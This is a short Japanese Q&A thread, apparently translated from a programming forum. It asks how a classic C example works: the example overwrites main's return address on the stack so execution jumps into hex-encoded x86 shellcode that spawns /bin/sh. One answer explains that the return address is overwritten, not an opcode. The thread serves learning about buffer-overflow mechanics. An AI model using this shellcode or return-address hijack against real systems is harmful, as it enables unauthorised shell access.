0
char shellcode[] =        "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"        "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"        "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"        "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
   int *ret;  
   ret = (int *)&ret + 2;  
   (*ret) = (int)shellcode;
}

私の知る限り、shellcode[]シェルを生成するための16進オペコードであり、コードの最後の行はretをオペコードで上書きします。オペコードまたはメモリアドレスをRETに挿入しますか?

4

3 に答える 3

2

リターンオペコードを上書きするのではなく、スタック上のリターンアドレスを(スタック上で宣言された変数の近くにあると想定して)上書きするため、リターン時にmain()戻るのではなく_start+n、に戻りますshellcode

于 2011-04-21T19:26:04.100 に答える